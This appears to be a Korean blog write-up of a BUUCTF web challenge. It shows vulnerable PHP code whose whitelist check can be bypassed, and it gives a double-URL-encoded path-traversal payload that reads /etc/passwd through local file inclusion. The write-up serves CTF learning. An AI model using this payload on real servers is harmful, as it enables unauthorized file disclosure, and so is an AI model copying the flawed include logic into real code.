대망의 BUUCTF 라업 시작,,,

 

@posix의 소개로 중국 워게임 사이트를 알게 되었다.

 

본래 워게임 풀어도 귀찮아서 라업을 잘 안쓰는 나지만 CTF 분야 중 웹은 아카이빙 해둔 곳이 보기 드물기에 아주 반가운 사이트.

 

안그래도 워게임은 풀게 없고 CTF는 간헐적으로 열려서 굶주려있던 찰나에 잘된 것 같다.

 

앞에서부터 차례로 뿌시기 시작!!

 

다만 아직도 쓰기 귀찮은건 여전하니 간략히 내 기억을 remind 할 수 있을 정도로만 적고 넘어가겠다.

 

 

각설하고

 


 

왜인지 첫문제부터 난이도가 좀 있어서 당황했다. 1595명이나 solving 했다는데,, 역시 중국의 맨파워는 대단한건가

 

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

 

핵심은 $whitelist 로 source.php나 hint.php만 받고 몇가지 필터링을 통과하면 include로 LFI(Local File Inclusion)할 수 있는것.

 

나중에 알았는데 phpmyadmin에서 발생했던 1day 라고 하는것 같다.

 

보통 substr을 쓸텐데 mb_substr을 쓰고 urldecode -> mb_substr을 하는게 힌트라면 힌트.

 

 

 

?file=hint.php%253f/../../../../../../etc/passwd

 

LFI 성공!

'Web > BUUCTF' 카테고리의 다른 글

[BUUCTF] - [强网杯 2019]高明的黑客1  (0) 2020.02.14
[BUUCTF] - [HCTF 2018]admin1  (0) 2020.02.13
[BUUCTF] - [SUCTF 2019]EasySQL1  (0) 2020.02.13
[BUUCTF] - [护网杯 2018]easy_tornado1  (0) 2020.02.13
[BUUCTF] - [强网杯 2019]随便注1  (0) 2020.02.12

+ Recent posts